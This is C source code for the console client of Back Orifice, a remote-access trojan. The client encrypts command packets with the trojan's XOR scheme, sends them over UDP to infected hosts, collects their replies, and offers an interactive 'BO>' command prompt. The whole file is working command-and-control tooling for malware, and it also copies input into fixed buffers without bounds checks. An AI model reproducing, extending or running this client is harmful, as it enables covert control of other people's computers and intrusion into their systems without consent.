/* boclient.c - Console client for Back Orifice */ #include "config.h" #include "bounix.h" /* GLOBALS */ unsigned long g_packet; static long holdrand = 1L; char g_password[ARGSIZE]; char g_lastdata[BUFFSIZE]; unsigned long g_lastpongip; int g_lastpongport; unsigned long host; int udpsock; char cwd[MAX_PATH]; int port = PORT; /* CRYPTING FUNCTIONS * (ISS x-force has xor teknique */ void msrand (unsigned int seed ) { holdrand = (long)seed; } int mrand ( void) { return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff); } unsigned int getkey() { int x, y; unsigned int z; y = strlen(g_password); if (!y) return 31337; else { z = 0; for (x = 0; x < y; x++) z+= g_password[x]; for (x = 0; x < y; x++) { if (x%2) z-= g_password[x] * (y-x+1); else z+= g_password[x] * (y-x+1); z = z%RAND_MAX; } z = (z * y)%RAND_MAX; return z; } } void BOcrypt(unsigned char *buff, int len) { int y; if (!len) return; msrand(getkey()); for (y = 0; y < len; y++) buff[y] = buff[y] ^ (mrand()%256); } /* * I/O socket functions */ int getpong(int sock) /* loops through with select, returns 0 on correct ping response */ { /* and 1 on a timeout or select error. */ struct sockaddr_in host; char buff[BUFFSIZE]; int hostsize, x, sel; unsigned long *pdw; unsigned char *ptr; unsigned long packetsize; unsigned char type; fd_set fds; struct timeval tv; FD_ZERO(&fds); FD_SET(sock, &fds); tv.tv_sec = 0; tv.tv_usec = 0; hostsize = sizeof(host); while ( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0) { tv.tv_sec=0; tv.tv_usec=0; if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0 ) { return(1); } BOcrypt(buff, x); if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) { printf("------- Garbage packet recieved from %s port %d -------\n", inet_ntoa(host.sin_addr), (int)ntohs(host.sin_port) ); continue; } pdw = (unsigned long *)buff; pdw+=2; packetsize = __EL_LONG(*pdw); pdw+=2; ptr = (unsigned char *)pdw; type = *ptr++; if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) && (type == TYPE_PING)) { printf("------- Pong received from %s port %d -------\n", inet_ntoa(host.sin_addr), (int)ntohs(host.sin_port) ); puts(ptr); puts("------- End of data -------"); g_lastpongip = host.sin_addr.s_addr; g_lastpongport = (int)ntohs(host.sin_port); return(0); } else { printf("------- Non pong response from %s port %d -------\n", inet_ntoa(host.sin_addr), (int)ntohs(host.sin_port) ); puts(ptr); puts("------- End of data -------"); continue; } } if (sel < 0) perror("select"); return(1); } int getinput(int sock) { struct sockaddr_in host; char buff[BUFFSIZE]; int hostsize, x, sel; unsigned long *pdw; unsigned char *ptr; unsigned long packetsize; unsigned long oldestpack, lastpacket, packetid, p; unsigned char type; struct timeval tv; fd_set fds; FD_ZERO(&fds); FD_SET(sock, &fds); tv.tv_sec = 10; tv.tv_usec = 0; hostsize = sizeof(host); while( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 ) { tv.tv_sec = 10; /* check, does select modify tv? */ tv.tv_usec = 0; if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0) continue; /* this still shouldnt happen */ BOcrypt(buff, x); if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) continue; /* this packet isnt for us, pass off */ pdw = (unsigned long *)buff; /* parse out the packet */ pdw+=2; packetsize = *pdw++; packetsize = __EL_LONG(packetsize); packetid = *pdw++; packetid = __EL_LONG(packetid); ptr = (unsigned char *)pdw; type = *ptr++; /* this is a singular packet */ if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) ) { printf("------- Packet received from %s port %d -------\n", inet_ntoa(host.sin_addr), (int)ntohs(host.sin_port) ); puts(ptr); puts("------- End of data -------"); return 0; /* success */ } /* first packet in a set of packets */ if (!(type & CONTINUED_PACKET)) { oldestpack = packetid; printf("------- Packet received from %s port %d -------\n", inet_ntoa(host.sin_addr), (int)ntohs(host.sin_port) ); } if(type & CONTINUED_PACKET) /* if we're here, i believe this will always be true */ { /* if packetid = lastpacket+1 (normal), this doesnt run */ /* This code is B00l Shit. It's borken big time. for(p=lastpacket; packetid > lastpacket+1; p++) printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack)); */ lastpacket = packetid; } puts(ptr); /* last packet in a set of packets */ if (!(type & PARTIAL_PACKET)) { puts("------- End of data -------"); return 0; /* success */ } } /* determine why we broke out of the loop */ if (sel == 0) puts("Timeout on wait, host may not be reachable, or no server installed\n"); else if (sel < 0) perror("select"); return(1); /* error */ } int sendping(unsigned long dest, int port, int sock) { unsigned char *ptr; unsigned long *pdw; unsigned long size; struct sockaddr_in host; char buff[BUFFSIZE]; int i; fd_set fdset; struct timeval tv; size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2; strcpy(buff, MAGICSTRING); pdw = (unsigned long *)(buff + MAGICSTRINGLEN); *pdw++ = __EL_LONG(size); *pdw++ = __EL_LONG((unsigned long)-1); ptr = (unsigned char *)pdw; *ptr++ = TYPE_PING; *ptr = 0; BOcrypt(buff, (int)size); host.sin_family = AF_INET; host.sin_port = htons((u_short)port); host.sin_addr.s_addr = dest; FD_ZERO(&fdset); FD_SET(sock, &fdset); tv.tv_sec = 10; tv.tv_usec = 0; i = select(sock+1, NULL, &fdset, NULL, &tv); if (i == 0) { printf(" Timeout waiting to send to socket\n"); return(1); } else if (i < 0) { perror("select: "); return(1); } if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size ) { perror("sendto: "); return(1); } return 0; } int sendpacket(unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock) { unsigned char *ptr; unsigned long *pdw; unsigned long size; struct sockaddr_in host; char buff[BUFFSIZE]; if (dest == 0) { puts("Set a target host with the 'host' command. (Type 'help' for assistance)"); return 1; } /* 4 4 1 ? ? 1 * ----------------------------------------------- * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc| * | | |num | | | | | * ----------------------------------------------- */ size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2); strcpy(buff, MAGICSTRING); pdw = (unsigned long *)(buff + MAGICSTRINGLEN); *pdw++ = __EL_LONG(size); *pdw++ = __EL_LONG(g_packet); g_packet++; ptr = (unsigned char *)pdw; *ptr++ = type; strcpy(ptr, str1); ptr += strlen(str1) + 1; strcpy(ptr, str2); BOcrypt(buff, (int)size); host.sin_family = AF_INET; host.sin_port = htons((u_short)port); host.sin_addr.s_addr = dest; if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size) { perror("sendto: "); return(1); } return 0; } /************************** MISC FUNCTIONS **************************/ void fixfilename(char *buff, const char *cwd, const char *path) { if (path[0] == '\\') { strncpy(buff, cwd, 2); strncpy(buff+3, path, strlen(path)+1); } else if (strncmp(path+1, ":\\", 2) == 0){ strcpy(buff, path); } else { sprintf(buff, "%s%s", cwd, path); } } char *quotedstring(char *dest, char *src) { char *d, *s, c; int quote, escape; d=dest; s=src; quote=0; escape=0; do { c=*s++; if(quote==0) { if(c==' ') { *d++='\0'; break; } else if(c=='"') quote=1; else *d++=c; } else { if(escape==0) { if(c=='"') quote=0; else if(c=='\\') escape=1; else *d++=c; } else { *d++=c; escape=0; } } } while(c!='\0'); return s; } /**************************** MAIN ***************************/ int main(int argc, char **argv) { struct sockaddr_in sockaddr; struct in_addr hostin; char *c, *d; char buff[1024]; char command[COMMANDSIZE]; char arg1[ARGSIZE]; char arg2[ARGSIZE]; int x; int clientport = 0; struct linger linger; int bufsize; printf("Back Orifice console client version %s\n", VERSIONSTR); printf(" (Type 'help' for assistance)\n"); host = 0; g_packet = 0; g_password[0] = 0; strcpy(cwd, "c:\\"); if (argc > 1) { for (x = 1; x < argc; x++) { if (argv[x][0] == '-' || argv[x][0] == '/') { switch (toupper(argv[x][1])) { case 'H': case '?': puts("boclient.exe [-p port]"); return 0; case 'P': if (argv[x][2] == 0) { x++; clientport = atoi(argv[x]); } else { clientport = atoi(&argv[x][2]); } break; case 0: puts("\"-\"?"); break; default: printf("Unknown commandline option: '%c'\n", argv[x][1]); break; } } } } if ( (udpsock = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket: "); return(1); } memset(&sockaddr, 0, sizeof(sockaddr)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons((u_short)clientport); if ( (bind(udpsock, (struct sockaddr *)&sockaddr, sizeof(sockaddr))) < 0) { perror("bind: "); return(1); } linger.l_onoff = 0; /* dont linger */ setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger) ); while (!feof(stdin)) { if ( host == 0) printf("BO>"); else { hostin.s_addr = host; printf("BO:%s>", inet_ntoa(hostin)); } arg1[0] = arg2[0] = 0; memset(buff, 0, BUFFSIZE); fgets(buff, 1024, stdin); if (buff[strlen(buff)-1] == '\n') buff[strlen(buff)-1] = '\0'; /* get rid of newline if there */ c = quotedstring(command,buff); while ( isspace((int)c[0]) ) /* advance to next nonspace character */ c++; c = quotedstring(arg1,c); while ( isspace((int)c[0]) ) /* advance to next nonspace character */ c++; c = quotedstring(arg2,c); if (executecommand(command, arg1, arg2)) /* parsing sucks, but we're done. lets go! */ printf("Command Failed\n"); } return 0; }